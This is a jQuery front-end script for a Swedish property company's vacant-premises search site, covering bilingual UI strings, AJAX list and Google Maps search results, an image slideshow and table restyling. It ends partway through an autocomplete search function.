
var SYS = {};
var LANG = {};
var SITE = {};
var TABLES = {};
var SEARCH = {};
var FUNCTIONS = {};

/* EVENTHANDLER FOR DOMONLOAD
/* ADD FUNCTIONS THAT SHOULD RUN ON DOM LOAD
----------------------------------------------------*/
$(document).ready(function () {
	//##>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>##

	$('html').addClass('js');
	if (!$('html').hasClass('ie')) {
		$('html').addClass('notIE');
	}

	SYS.Init();
	LANG.Init();
	SITE.Init();
	TABLES.Init();
	SEARCH.Init();

	$('#main a.cal').vAlign();

	$('table').attr('border', '0').attr('cellpadding', '0');

	//##>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>##
});

SYS.Init = function () {
	this.pageId = $('body').attr('id');
	this.pushResult = [];
	this.hash = location.hash;

	// Window settings
	this.winWidth = $(window).width();
	this.winHeight = $(window).height();
	this.docHeight = $('body').height();

	$(window).resize(function () {
		SYS.winWidth = $(window).width();
		SYS.winHeight = $(window).height();
		if ($('#fade').length > 0) FUNCTIONS.ModalUpdate();
	});

	// mouse coordinates
	this.mouseX = 0;
	this.mouseY = 0;

	this.premiseSearchAscending = true;
	this.premiseSearchSortBy = 0;

	// push area image auto swapper
	this.pushTimeout = 0;
	this.pushIdle = 15000;
	this.pushRunning = 6500;
	this.pushRunningCount = 0;


};

LANG.Init = function () {

	//# GET CURRENT LANGUAGE
	this.lang = ($('meta[name="content-language"]').attr('content') === null) ? 'en' : $('meta[name="content-language"]').attr('content').toLowerCase();

	(LANG.lang == 'sv') ? this.language = 'sv' : this.language = 'en';
	(LANG.lang == 'sv') ? this.Loading = 'Laddar...' : this.Loading = 'Loading...';
	(LANG.lang == 'sv') ? this.Close = 'Stäng' : this.Close = 'Close';
	(LANG.lang == 'sv') ? this.SearchingVacantPremise = 'Söker lediga lokaler...' : this.SearchingVacantPremise = 'Searching for vacant premises...';
	(LANG.lang == 'sv') ? this.SearchError = 'Något blev fel. Försök att söka igen.' : this.SearchError = 'Something went wrong. Please try to search again.';
	this.searchResult = [];
	(LANG.lang == 'sv') ? LANG.searchResult[0] = 'Hittade' : LANG.searchResult[0] = 'Found';
	(LANG.lang == 'sv') ? LANG.searchResult[1] = 'objekt' : LANG.searchResult[1] = 'objects';
	(LANG.lang == 'sv') ? LANG.searchResult[2] = 'Visa resultat' : LANG.searchResult[2] = 'Show result';
	(LANG.lang == 'sv') ? LANG.searchResult[3] = 'Visa läge på karta' : LANG.searchResult[3] = 'View location on map';
	(LANG.lang == 'sv') ? this.NoSearchResult = '<h3>Tyvärr finns det inga lediga lokaler som matchar din sökning.</h3><p>Men tack för att du söker lokal hos oss! Prova gärna att ändra dina sökkriterier eller att använda sök-funktionen "<a href="/sv/Lediga-lokaler/#/area~all/premises~all/size~all/type~map/reset~true/">Visa på karta</a>".</p><p>Du är också välkommen att kontakta våra uthyrare om du har frågor.</p>' : this.NoSearchResult = '<h3>Unfortunately, we have no vacant premises that match your search.</h3><p>But thank you for trying to find premises with us! We suggest that you change your search criteria or use the search function called "<a href="/en/Vacant-premises/#/area~all/premises~all/size~all/type~list/reset~true/">Show on map</a>".</p><p>Also feel free to contact our letting staff if you have any questions.</p>';
	(LANG.lang == 'sv') ? this.PremiseSmall = '< 500 kvm' : this.PremiseSmall = '< 500 sqm';
	(LANG.lang == 'sv') ? this.PremiseMedium = '501 - 2 000 kvm' : this.PremiseMedium = '501 - 2,000 sqm';
	(LANG.lang == 'sv') ? this.PremiseLarge = '> 2 000 kvm' : this.PremiseLarge = '> 2,000 sqm';
	(LANG.lang == 'sv') ? this.PremiseSize = 'kvm' : this.PremiseSize = 'sqm';
	this.ModalError = [];
	(LANG.lang == 'sv') ? LANG.ModalError[0] = 'Det blev något vid hämtning av' : LANG.ModalError[0] = 'There was an error loading the';
	(LANG.lang == 'sv') ? LANG.ModalError[1] = 'Den verkar ha tappats bort på vägen till din skärm. Var vänlig försök igen.' : LANG.ModalError[1] = 'It seems that it got lost on its way to your screen. Please try again.';
	this.Share = [];
	(LANG.lang == 'sv') ? LANG.Share[0] = 'Dela sida med e-post' : LANG.Share[0] = 'Share page by e-mail';
	(LANG.lang == 'sv') ? LANG.Share[1] = 'Mottagare (e-post)' : LANG.Share[1] = 'Receiver (e-mail)';
	(LANG.lang == 'sv') ? LANG.Share[2] = 'Avsändare (e-post)' : LANG.Share[2] = 'Sender (e-mail)';
	(LANG.lang == 'sv') ? LANG.Share[3] = 'Skicka' : LANG.Share[3] = 'Send';
	(LANG.lang == 'sv') ? LANG.Share[4] = '>Meddelande ej skickat.' : LANG.Share[4] = 'Message not sent.';
	(LANG.lang == 'sv') ? LANG.Share[5] = 'Försök igen.' : LANG.Share[5] = 'Try again.';
	(LANG.lang == 'sv') ? LANG.Share[6] = 'Meddelande skickat!' : LANG.Share[6] = 'Message sent!';

};


SITE.Init = function () {

	// if Cufon font replacement is defined
	if (window.Cufon) FUNCTIONS.FontReplace();
	SITE.Navigation();

	// enhanced forms
	$('fieldset').TextfieldPlaceholders();
	$('#search').TextfieldPlaceholders();
	//$('#content').FormSelectRestyled(true, 'form-drop-down', '--', 0);

	// check for push area
	if ($('#push').length > 0) FUNCTIONS.Push();
	//if ($('#index', '#static').length > 0) FUNCTIONS.PushIndex();

	// check for AJAX search
	if ($('.ajax', '#index').length > 0) FUNCTIONS.AjaxSearch();
	if ($('.ajax', '#content').length > 0) FUNCTIONS.AjaxSearch();
	if ($('.ajax', '#subpage.building-page').length > 0) FUNCTIONS.ToggleBox($('#search-again'));

	// contacts
	if ($('body#subpage #contacts').length > 0) {
		if ($.browser.msie && $.browser.version == '7.0') { $('div.firstingroup').before('<br class="clear"/>'); }
		FUNCTIONS.SameHeightContacts();
	}

	// check for area slider
	//var areaSlider = $('.area-slider', '#content');
	//if (areaSlider) {
	//	FUNCTIONS.AreaSlider(areaSlider);
	//}

	FUNCTIONS.ToolTip();
	FUNCTIONS.ReadMore();
	FUNCTIONS.ImageCaption();
	FUNCTIONS.Share();
	FUNCTIONS.NewWin.init();
	FUNCTIONS.DatePicker();

	// To trigger the right modal pop-up, pass the links title set as service name
	$('a[name=modal]').live('click', function () {
		FUNCTIONS.Modal($(this).attr('rel').toLowerCase(), $(this).parent().prevAll().length);
		return false;
	});

	// scroll page to anchor tag link
	$('a[href^="#"]').not('#search-result-list a').live('click', function () {
		//Dont do this for "#" links
		if ($(this).attr('href') == "#") return false;
		var offset = $($(this).attr('href')).offset();
		$('html,body').animate({ scrollTop: offset.top }, 500);
		return false;
	});

};
SITE.Navigation = function () {
	var dropDownParent = $('.child', '#mainnav ul ul');
	var dropDown = $(dropDownParent).find('ul:first');
	$(dropDown).css({
		top: '27px',
		opacity: 0
	});
	$(dropDownParent).mouseenter(function () {
		$(this).find('ul').eq(0).stop().css({ display: 'block' }).animate({
			top: '32px',
			opacity: 1
		}, 150);
	}).mouseleave(function () {
		$(this).find('ul').eq(0).stop().animate({
			top: '27px',
			opacity: 0
		}, 100, function () {
			$(this).css({ display: 'none' })
		});
	});
};


SEARCH.Init = function () {

	if (!$('#subpage').hasClass('premise-search-page')) {
		return;
	}

	//# INIT TAB SELECTION
	$('#content-tab-nav a:lt(2)').bind('click', function () {
		$('#content-tab-nav li').removeClass('selected');
		$(this).parent().addClass('selected');
		SEARCH.PerformSearch();
		return false;
	});

	//# INIT RESULT LIST SORTING
	$('#search-result-list table tr th span').bind('click', function () {
		var sortOrder = true;
		var parent = $(this).parents('th:first');
		if (parent.hasClass('selected')) {
			if (SYS.premiseSearchAscending === true) {
				sortOrder = false;
			} else {
				sortOrder = true;
			}
		}
		parent.parent().find('th').removeClass('selected').removeClass('desc');
		parent.addClass('selected');
		if (sortOrder === false) {
			parent.addClass('desc');
		}
		var sortBy = $(this).attr('class').substring($(this).attr('class').lastIndexOf('-') + 1, 6);
		SYS.premiseSearchSortBy = sortBy;
		SYS.premiseSearchAscending = sortOrder;
		SEARCH.PerformSearch();
	});

	//# MOD CHECKBOX BEHAVIOUR
	$('#search .area, #search .premises, #search .size').each(function () {
		var parent = $(this);
		var checkboxes = parent.find('input[type=checkbox]');
		checkboxes.bind('click', function () {
			var elm = $(this);
			if (elm.attr('checked') === true) {
				elm.attr('checked', true);
			} else {
				elm.attr('checked', false);
			} if (checkboxes.index(this) === 0) {
				elm.attr('checked', true);
				checkboxes.not(':eq(0)').attr('checked', false);
			} else {
				checkboxes.eq(0).attr('checked', false);
			}
			//# HANDLER FOR SUBAREAS
			var subAreas = elm.parent().parent().find('ul');
			if (subAreas.length) {
				if (elm.attr('checked') === true) {
					subAreas.find('input').attr('checked', false);
				}
			}
			if (elm.parents('li').length === 2) {
				elm.parents('li:eq(1)').find('input:first').attr('checked', false);
			}
			SEARCH.PerformSearch();
		});
	});

	//# IS THIS A DIRECT HASH URL?
	if (SYS.hash.length !== 0) {
		var hashArea = SYS.hash.between('/area~', '/').arrayed('area'),
			hashPremises = SYS.hash.between('/premises~', '/').arrayed('premises'),
			hashSize = SYS.hash.between('/size~', '/').arrayed('size'),
			hashAddress = SYS.hash.between('/address~', '/'),
			hashType = SYS.hash.between('/type~', '/'),
			hashArr = hashArea.concat(hashPremises, hashSize),
			parent = $('#search .area');
		if (hashArea.length !== 0) {
			$('#search input[name="area"][value="all"]').attr('checked', false);
		} if (hashPremises.length !== 0) {
			$('#search input[name="premises"][value="all"]').attr('checked', false);
		} if (hashSize.length !== 0) {
			$('#search input[name="size"][value="all"]').attr('checked', false);
		} if (hashArr.length) {
			var n = hashArr.length;
			while (n--) {
				$('#search input[name="' + hashArr[n][1] + '"][value="' + hashArr[n][0].decodeUrl() + '"]').attr('checked', true);
			}
		} if (hashAddress.length) {
			$('#search .address input[type="text"]').val(hashAddress.decodeUrl()).attr('style', '');
		} if (hashType === 'map') {
			$('#search-map a').click();
		}

		//# CHECK PARENT INSTEAD OF ALL CHILDS
		if (parent.length) {
			parent.find('ul li ul').each(function () {
				var parentUl = $(this);
				var checkStat = false;
				parentUl.find('input').each(function () {
					checkStat = ($(this).attr('checked') === true) ? true : false;
				})
				if (checkStat === true) {
					parentUl.parent().find('input:first').attr('checked', true);
					parentUl.find('input').attr('checked', false);
				}
			});
		}
		SEARCH.PerformSearch(true);
	} else {
		var hasSearchResult = $('#search input:checked');
		if (hasSearchResult.length === 0) {
			$('#search input[value="all"]').attr('checked', true);
		}
	}

	//# ENABLE ADDRESS SEARCH
	$('#search .address input').bind('keydown', function (e) {
		if (e.which === 13) {
			return false;
		}
	}).bind('keyup', function (e) {
		if ($(this).val().length === 0 || $(this).val().length >= 3) {
			SEARCH.PerformSearch();
		}
	});
	SEARCH.InitShowOnMap();

	$(window).hashchange(function () {
		var doReset = location.hash.between('/reset~', '/');
		if (doReset === 'true') {
			$('#search')
				.find('input[type="checkbox"]').attr('checked', false).end()
				.find('input[value="all"]').attr('checked', true).end()
				.find('input[type="text"]').val('').end();
			$('#search-list').removeClass('selected');
			$('#search-map').addClass('selected');
			SEARCH.PerformSearch();
		}
	});


};
SEARCH.InitShowOnMap = function () {
	//# ENABLE MAP ICON IN SEARCHRESULT
	$('#search-result-list a.show-map').bind('click', function () {
	    FUNCTIONS.Modal('map', $(this).attr('rel'));
		return false;
	}).attr('title', LANG.searchResult[3]).css('display','inline');
};
SEARCH.PerformSearch = function (bolDefaultSearch) {
	var area = '',
		premises = '',
		size = '',
		length = 0,
		address = $('#search .address input[type="text"]').val(),
		stringBuilder = new StringBuilder(),
		staticUrl = '';
	if (!address) {
		address = '';
	}
	if (address === 'T ex Dalvägen, Gårdsvägen' || address === 'E.g. Dalvägen, Gårdsvägen') {
		address = '';
	}
	//# CREATE HASH BASED ON CHECKBOXES
	$('#search input[type=checkbox]:checked').each(function () {
		var elm = $(this);
		switch (elm.attr('name')) {
			case 'area':
				area += elm.attr('value') + ',';
				break;
			case 'premises':
				premises += elm.attr('value') + ',';
				break;
			case 'size':
				size += elm.attr('value') + ',';
				break;
		}
	});
	//# REMOVE EXTRA COMMAS
	area = area.slice(0, -1);
	premises = premises.slice(0, -1);
	size = size.slice(0, -1);

	var searchMethod = '',
		searchResultDisplayType = $('#content-tab-nav').find('li.selected').attr('id'),
		searchType = (searchResultDisplayType == 'search-map') ? 'map' : 'list';

	//# SET NEW HASH IF THIS IS'N THE DEFAULT SEARCH
	if (!bolDefaultSearch) {
		window.location.hash = '#' + FUNCTIONS.CreateStaticUrl(area, premises, size, address, searchType);
	}

	//# ADD HASH TO RSS LINK
	$('#search-subscribe a').attr('href', '?type=rss&h=' + window.location.hash.toString().replace('#', ''));

	//# REMOVE CHECK FROM THE 'ALL' CHECKBOX IF WE HAVE VALUES
	if (area.length === 0) {
		$('#search input[name="area"][value="all"]').attr('checked', true);
	} if (premises.length === 0) {
		$('#search input[name="premises"][value="all"]').attr('checked', true);
	} if (size.length === 0) {
		$('#search input[name="size"][value="all"]').attr('checked', true);
	}

	//# PERFORM JSON SEARCH
	switch (searchResultDisplayType) {
		case 'search-list':

			/* ORDINARY SEARCH RESULT LIST 
			----------------------------------------------------*/
			$.ajax({
				type: "POST",
				url: "/Templates/Services/SearchService.asmx/PremisesSearch",
				cache: false,
				data: "{'area':'" + area + "', 'premises':'" + premises + "', 'size':'" + size + "', 'address':'" + address + "', 'sortBy':" + SYS.premiseSearchSortBy + ", 'ascending':" + SYS.premiseSearchAscending + ", 'language':'sv'}",
				contentType: "application/json; charset=utf-8",
				dataType: "json",
				beforeSend: function () {

					$('#search-result-list').css('height', '500px');
					$('#search-result-list tbody').hide();
					$('#search-result-map').fadeOut(100, function () {
						$('#search-result-list').fadeIn(100);
						$('#gmap-canvas').html('<p><img src="/ui/gfx/loader-violette.gif" alt="" /> ' + LANG.Loading + '</p>');
					});

				},
				error: function () {

					stringBuilder.add('<tr><td colspan="4" class="noresult">' + LANG.SearchError + '</td></tr>');

				},
				success: function (data) {

					var result = (typeof data.d) == 'string' ? eval('(' + data.d + ')') : data.d,
						tbody = '',
						length = result.length;

					if (length > 0) {
						SEARCH.UpdateSearchCount(length);
						$(result).each(function (i, obj) {

							var resultPageId = obj.PageId,
                                resultImage = obj.Image,
								resultArea = obj.District,
								resultSize = obj.Area,
								resultType = obj.Type.replace(/\//g, '<br />'),
								resultStreet = obj.Street,
								resultDescription = obj.Description,
								resultLink = obj.Link,
								resultAreaName = obj.AreaName,
								resultAreaLink = obj.AreaLink,
								resultAreaText = obj.AreaDescription

							stringBuilder.add('<tr>');
							if (resultAreaLink) {
								stringBuilder.add('<td><a href="' + resultAreaLink + '" class="readmore" rel="'+ resultAreaName +'">' + resultArea + '</a><div>' + resultAreaText + '</div></td>');
							} else {
								stringBuilder.add('<td>' + resultArea + '</td>');
							}
							stringBuilder.add('<td><img src="' + resultImage + '" alt="' + resultStreet + '" class="tooltip" /><a href="' + resultLink + '">' + resultStreet + '</a><a href="javascript:;" class="show-map" rel="' + resultPageId + '"><img src="/ui/gfx/ico-map.png" alt="" /></a><br />' + resultDescription + '</td>');
							stringBuilder.add('<td>' + resultType + '</td>');
							stringBuilder.add('<td class="last">' + FUNCTIONS.Thousands(resultSize) + '</td>');
							stringBuilder.add('</tr>');

						});
					} else {
						$('#search-result-count').text('0');
						stringBuilder.add('<tr><td colspan="4" class="noresult">' + LANG.NoSearchResult + '</td></tr>');
					}

				},
				complete: function () {

					$('#search-result-list tbody').html(stringBuilder.build());
					if ($('html').hasClass('ie')) {
						$('#search-result-list tbody').show();
					} else {
						$('#search-result-list tbody').fadeIn(200);
					}
					$('#search-result-list').css('height', 'auto');
					FUNCTIONS.ReadMore();
					SEARCH.InitShowOnMap();
					FUNCTIONS.ToolTip();

				}
			});
			break;
		case 'search-map':
			/* SHOW RESULT ON MAP 
			----------------------------------------------------*/
			$.ajax({
				type: "POST",
				url: "/Templates/Services/SearchService.asmx/PremisesMapSearch",
				cache: false,
				data: "{'area':'" + area + "', 'premises':'" + premises + "', 'size':'" + size + "', 'address':'" + address + "', 'sortBy':" + SYS.premiseSearchSortBy + ", 'ascending':" + SYS.premiseSearchAscending + ", 'language':'sv'}",
				contentType: "application/json; charset=utf-8",
				dataType: "json",
				beforeSend: function () {

					$('#search-result-list').fadeOut(200, function () {
						$('#search-result-map').fadeIn(200);
						$('#gmap-canvas').html('<p><img src="/ui/gfx/loader-violette.gif" alt="" /> ' + LANG.Loading + '</p>');
					});

				},
				error: function () {
				},
				success: function (data) {

					var result = (typeof data.d) == 'string' ? eval('(' + data.d + ')') : data.d,
						map = new google.maps.Map(document.getElementById('gmap-canvas'), {
							zoom: 13,
							center: new google.maps.LatLng(59.339493, 18.056717),
							mapTypeId: google.maps.MapTypeId.ROADMAP
						}),
						location = [],
						premises = [],
						pinUrl = [];

					$(result).each(function (i, obj) {
						location[i] = [obj.Location.Address, obj.Location.Latitude, obj.Location.Longitude, i];
						premises[i] = obj.Premises;
						pinUrl[i] = '/ui/gfx/pins/plupp_lila_' + obj.Premises.length + '.png';
						if (obj.Premises.length > 10) pinUrl[i] = '/ui/gfx/pins/plupp_lila_10.png';
						length += obj.Premises.length;
					});

					var infowindow = new google.maps.InfoWindow({
						maxWidth: 250
					}),
						bounds = new google.maps.LatLngBounds(),
						shadow = new google.maps.MarkerImage('/ui/gfx/gmap-pin-shadow.png',
							new google.maps.Size(28, 7),
							new google.maps.Point(0, 0),
							new google.maps.Point(0, 7)
						),
						shape = {
							coord: [1, 1, 1, 20, 18, 20, 18, 1],
							type: 'poly'
						},
						infowindowContent = [];

					$(location).each(function (i, obj) {
						var premiseLatLng = new google.maps.LatLng(obj[1], obj[2]),
							image = new google.maps.MarkerImage(pinUrl[i],
								new google.maps.Size(36, 36),
								new google.maps.Point(0, 0),
								new google.maps.Point(13, 33)
							),
							marker = new google.maps.Marker({
								position: premiseLatLng,
								map: map,
								icon: image,
								shape: shape,
								title: obj[0],
								zIndex: obj[3]
							});

						$(premises[i]).each(function (j, info) {
							stringBuilder.add('<div class="gmap-premises">');
							stringBuilder.add('<img src="' + info.Image + '" alt="' + info.Street + '" />');
							stringBuilder.add('<p><strong><a href="' + info.Link + '" title="' + info.Street + '" class="new-win">' + info.Street + '</a></strong><br />' + info.District + '<br />' + info.Type + ', ' + info.Area + ' ' + LANG.PremiseSize + '<br />' + info.Description + '</p>');
							stringBuilder.add('</div>');
						});

						infowindowContent[i] = '<div id="google-maps-infowindow">' + stringBuilder.build() + '</div>';
						stringBuilder.clear();

						google.maps.event.addListener(marker, 'click', function () {
							infowindow.content = infowindowContent[i];
							infowindow.open(map, marker);
						});

						bounds.extend(premiseLatLng);
					});
					// Don't zoom in too far on only one marker
					if (bounds.getNorthEast().equals(bounds.getSouthWest())) {
						var extendPoint1 = new google.maps.LatLng(bounds.getNorthEast().lat() + 0.004, bounds.getNorthEast().lng() + 0.004);
						var extendPoint2 = new google.maps.LatLng(bounds.getNorthEast().lat() - 0.004, bounds.getNorthEast().lng() - 0.004);
						bounds.extend(extendPoint1);
						bounds.extend(extendPoint2);
					}
					map.fitBounds(bounds);

				},
				complete: function () {

					SEARCH.UpdateSearchCount(length);

				}
			});
			break;
	}

};
SEARCH.UpdateSearchCount = function (num) {
	var currValue = parseInt($('#search-result-count').text(), 10),
		diff = Math.abs(currValue - num),
		totalTime = 500,
		iterationDelay = 50,
		iterationCount = parseInt(totalTime / iterationDelay, 10),
		i = 0,
		incrementalStep = parseInt(diff / iterationCount, 10),
		interval = null;
	interval = window.setInterval(function () {
		if (i != iterationCount) {
			i++;
			if (num > currValue) {
				currValue = parseInt(currValue + Math.ceil(incrementalStep), 10);
				$('#search-result-count').text(currValue);
			} else {
				currValue = parseInt(currValue - Math.ceil(incrementalStep), 10);
				$('#search-result-count').text(currValue);
			}
		} else {
			window.clearInterval(interval);
			$('#search-result-count').text(num);
		}
	}, iterationDelay);
};

TABLES.Init = function() {
	/* Find tables in main content and "re-build" them to match design */
	if (SYS.pageId == 'subpage') {
		var topTable = $('.topheading', '#main');
		var leftTable = $('.leftheading', '#main');
		if ($(topTable).length > 0) {
			$(topTable).each(function(i) {
				$(this).find('tr').eq(0).children().each(function(i, elm) {
					var th = $('<th>' + $(this).html() + '</th>');
					$(this).replaceWith(th);
					var attributes = $(this)[0].attributes;
					if (attributes) {
						$(attributes).each(function(j, attr) {
							$(th).attr(attr.name, attr.value);
						});
					}
				});
			});
		}
		if ($(leftTable).length > 0) {
			$(leftTable).find('tr').each(function(i, elm) {
				var th = $('<th>' + $(this).children(':eq(0)').html() + '</th>')
				$(this).children(':eq(0)').replaceWith(th);
				var attributes = $(this)[0].attributes;
				if (attributes) {
					$(attributes).each(function(j, attr) {
						$(th).attr(attr.name, attr.value);
					});
				}
			});
		}
	}

	/* FINANCIAL TABLES */
	return;
	var financialTable = $('table.financial-table');
	financialTable.each(function() {
		$(this).wrap($('<div class="financial-table-wrapper"></div>'));
		$(this).find('tr.parent span').prepend($('<a href="javascript:;" class="trigger"><img src="/ui/gfx/ico-table-plus.png" alt=""/></a>')).bind('click', function() {
			$(this).parents('tr').nextUntil('tr.sum').toggle();
			var imgSrc = $(this).find('img').attr('src');
			if (imgSrc.indexOf('-plus') != -1) {
				$(this).find('img').attr('src', '/ui/gfx/ico-table-minus.png');
			} else {
				$(this).find('img').attr('src', '/ui/gfx/ico-table-plus.png');
			};
		})
		$(this).find('tr.sublvl').hide();
	});

};
FUNCTIONS.CreateStaticUrl = function (area, premises, size, address, searchType) {
	//# REBUILD A STATIC URL
	var returnValue = '';
	if (area.length > 0) {
		returnValue += '/area~' + area.encodeUrl();
	} if (premises.length > 0) {
		returnValue += '/premises~' + premises.encodeUrl();
	} if (size.length > 0) {
		returnValue += '/size~' + size.encodeUrl();
	} if (address.length > 0) {
		returnValue += '/address~' + address.encodeUrl();
	}
	return returnValue + '/type~' + searchType + '/';
};
FUNCTIONS.NewWin = {
	init: function(att, val) {
		if (document.getElementById && document.createElement && document.appendChild) {
			var strAtt = ((typeof att == 'undefined') || (att == null)) ? 'class' : att;
			var strVal = ((typeof val == 'undefined') || (val == null)) ? 'new-win' : val;
			var arrLinks = document.getElementsByTagName('a');
			var oLink;
			var oRegExp = new RegExp("(^|\\s)" + strVal + "(\\s|$)");
			for (var i = 0; i < arrLinks.length; i++) {
				oLink = arrLinks[i];
				if ((strAtt == 'class') && (oRegExp.test(oLink.className)) || (oRegExp.test(oLink.getAttribute(strAtt)))) {
					oLink.onclick=FUNCTIONS.NewWin.openWin;
				}
			}
		}
	},
	openWin: function(e) {
		var event = (!e) ? window.event : e;
		if (event.shiftKey || event.altKey || event.ctrlKey || event.metaKey) return true;
		else {
			var oWin = window.open(this.getAttribute('href'), '_blank');
			if (oWin) {
				if (oWin.focus) oWin.focus();
				return false;
			}
			oWin = null;
			return true;
		}
	}
};
FUNCTIONS.Push = function() {
	// Conf
	var navParentId = 'pushnav';
	var push = $('#push');
	var pos = $(push).attr('class').indexOf('push-');

	var id = $(push).attr('class').substring(pos + 5, ($(push).attr('class').length - pos + pos));

	$.ajax({
		type: "POST",
		url: "/Templates/Services/TopPushService.asmx/GetTopPushObjects",
		data: "{'pageId':'" + id + "','lang':'" + LANG.lang + "'}",
		contentType: 'application/json; charset=utf-8',
		dataType: 'json',
		beforeSend: function() {
			if (!$('#push').hasClass('modal')) {
				$('#' + navParentId).children(':eq(0)').append('<div class="loading"></div>');
			} else if ($('#push').hasClass('modal')) {
				$('#' + navParentId + ' ul').eq(0).hide();
			}
		},
		error: function(e) {
		},
		success: function(data) {
			if(data)
			{
				SYS.pushResult = (typeof data.d) == 'string' ? eval('(' + data.d + ')') : data.d;
				if (!$('#push').hasClass('modal'))
				{
					if (SYS.pushResult.length > 1)
					{
				
						// Append images
						for (i = SYS.pushResult.length - 1; i >= 1; --i) {
							$('#push img').eq(0).after('<img src="' + SYS.pushResult[i].image + '" alt="' + SYS.pushResult[i].alt + '" title="' + SYS.pushResult[i].heading + '" />');
						}

						// Create image navigation
						if ($('#thumb').length > 0) $('#thumb').remove();

						// Get images
						var images = $('#push img'); // big images
						$('#' + navParentId + '').append('<ul id="thumb"></ul>');
						$(images.clone()).each(function(i, elm) {
							$('#thumb').append($(elm).attr('width', '54').attr('height', '28'));
							$(elm).wrap('<li></li>');
						});
						$('#thumb li').eq(0).css({ marginLeft: '0' });
						$('#thumb').append('<li id="thumb-selected" />');
						
						$('#push img').not($('#' + navParentId + ' img')).css({  // only big images
							position: 'absolute',
							top: '7px',
							left: '5px'
						});
						var thumbs = $('#thumb li').not('#thumb-selected'); // image thumbs
						var pushHeight = $(images).eq(0).height();
						
						
						var pushLnkElm = $('#push .push-lnk');
						if(pushHeight != 0)
						{
							$('#push').css({ height: pushHeight });
							pushLnkElm.css({ height: pushHeight });
						}
						var pushLnkCssHide = { 'cursor':'default' }
						var pushLnkCssShow = { 'cursor':'hand','cursor':'pointer' }
					
						var pushLnk = SYS.pushResult[i].link;
						if (pushLnk) {
							pushLnkElm.attr('href',SYS.pushResult[i].link);
							pushLnkElm.css(pushLnkCssShow);
						} else {
							pushLnkElm.attr('href','#');
							pushLnkElm.css(pushLnkCssHide);
						}
					
						// Image click event
						$(images).not(':eq(0)').css({ display: 'none' });
						
						var animation = false;
						
						$(thumbs).bind('click', function() {
							if (!animation) {
								animation = true;
								var clickedElm = $(this);
								// Reset image auto slide and start from current slide
								FUNCTIONS.PushAutoSlide(SYS.pushIdle, thumbs);
								SYS.pushRunningCount = $(clickedElm).prevAll().length;
								
								// Swap image
								$(images).fadeOut(1000);
								$(images).eq($(clickedElm).prevAll().length).fadeIn(1000);

								// animate thumb marker
								var position = $(this).position();
								var markerLeft = position.left - 3;
								if ($(clickedElm).prevAll().length == 0) markerLeft = position.left - 10;
								$('#thumb-selected').animate({
									left: markerLeft + 'px'
								}, 'fast');

								// Get new project information
								var currHeight = $('#pushnav div').height();
								$('#pushnav div').css({
									height: 'auto'
								});
															
								var once = false;
								$('#pushnav div').animate({
									opacity: 1
								}, 500, function() {
									if (!once) {
										once = true;
									
										$('#pushnav div').children().remove();									
										$('#pushnav div').append($('<h2>' + SYS.pushResult[clickedElm.prevAll().length].heading + '</h2>'));
										$('#pushnav div').append($(SYS.pushResult[clickedElm.prevAll().length].description));
									
										pushLnk = SYS.pushResult[clickedElm.prevAll().length].link;
									
										if (pushLnk) {
											pushLnkElm.attr('href',pushLnk);
											pushLnkElm.css(pushLnkCssShow);
										} else {
											pushLnkElm.attr('href','#');
											pushLnkElm.css(pushLnkCssHide);
										}
										
										var newHeight = $('#pushnav div').height();
										$('#pushnav div').height(currHeight);
										$('#pushnav div').animate({	height: newHeight }, 500, function() {
											$('#pushnav div').css({ display: 'block' });
											$('#pushnav div').animate({ opacity: 1 }, 200, function() {
												animation = false;
											});
										});
									}
								});

							}
						});
						// Image auto slide
						FUNCTIONS.PushAutoSlide(SYS.pushIdle, thumbs);
						
						// Image auto slide user interaction
						$('#' + navParentId).mouseenter(function() {
							if (SYS.pushTimeout > 0) clearTimeout(SYS.pushTimeout);
						}).mouseleave(function() {
							FUNCTIONS.PushAutoSlide(SYS.pushIdle, thumbs);
						});

					}
				} else {
					// Create image navigation
					var allImagesLink = $('#thumb li:last-child');
					$('#thumb').remove();
					$('#' + navParentId + '').append('<ul id="thumb"></ul>');
					$('#thumb').hide();
					$(SYS.pushResult).each(function(i, obj) {
						$('#thumb').append('<li><a href="#" name="modal" rel="images" title="' + obj.heading + '"><img src="' + obj.image + '" alt="' + obj.alt + '" title="' + obj.heading + '"  height="28" width="33" /></a></li>');
					});
					$('#thumb').append(allImagesLink);
					$('#thumb li').eq(0).css({ marginLeft: '0' });
					$('#push').css({ height: $(images).eq(0).height() });
				}
			}
		},
		complete: function() {
			// Remove loding, slide up image navigation
			$('#' + navParentId + ' .loading').remove();
			$('#' + navParentId + ' ul').eq(0).slideDown();
			$('#' + navParentId).children(':eq(0)').children().css({ 'opacity': 1 });
		}
	});
};

FUNCTIONS.PushIndex = function() {
	var height = $('#index', '#static').height();
	$('#index', '#static').css({ height: 0 });
	$('#index', '#static').animate({ height: height }, 1500, function() {
		$(this).css({ height: 'auto' });
	});
};
FUNCTIONS.PushAutoSlide = function(time, elms) {

	if (SYS.pushTimeout > 0) clearTimeout(SYS.pushTimeout);
	SYS.pushTimeout = setTimeout(function() {
		
		SYS.pushRunningCount++;
		
		if (SYS.pushRunningCount > $(elms).children().length - 1) {
			SYS.pushRunningCount = 0;
		}
		$(elms).eq(SYS.pushRunningCount).trigger('click');
		FUNCTIONS.PushAutoSlide(SYS.pushRunning, elms);
	}, time);
};
FUNCTIONS.AjaxSearch = function () {
	var searchFields = $('.ajax', '#index');
	if (!searchFields[0]) searchFields = $('.ajax', '#content');

	$(searchFields).each(function (i, input) {
		$(input).css({
		border: 'none',
		margin: 0,
		padding: 0,
		width: '332px'
		});
		
		$(input).removeClass('input').wrap('<div class="input" />');
		$(input).parent().css({ position: 'relative' });
		$(input).keyup(function (e) {
			if ($(this).attr('value').length > 1 && e.keyCode >= 65 && e.keyCode <= 90 || $(this).attr('value').length > 1 && e.keyCode >= 48 && e.keyCode <= 57 || $(this).attr('value').length > 1 && e.keyCode == 8 || e.keyCode == 46 || $(this).attr('value').length > 1 && e.keyCode == 192 || $(this).attr('value').length > 1 && e.keyCode == 221 || $(this).attr('value').length > 1 && e.keyCode == 222) {
				if ($('#intel-search-result').length == 0) $('body').append('<ul id="intel-search-result"><li class="loading">' + LANG.Loading + '</li></ul>');
				var resultList = $('#intel-search-result');
				var pos = $('div.input').offset();
				var posTop = $('div.input').offset().top;
				$(resultList).css({ width: $(input).width() + 6 + 'px' });
				$(resultList).css(pos);
				$(resultList).css('top', posTop + 28);
				$(resultList).css('display', 'block');

				$.ajax({
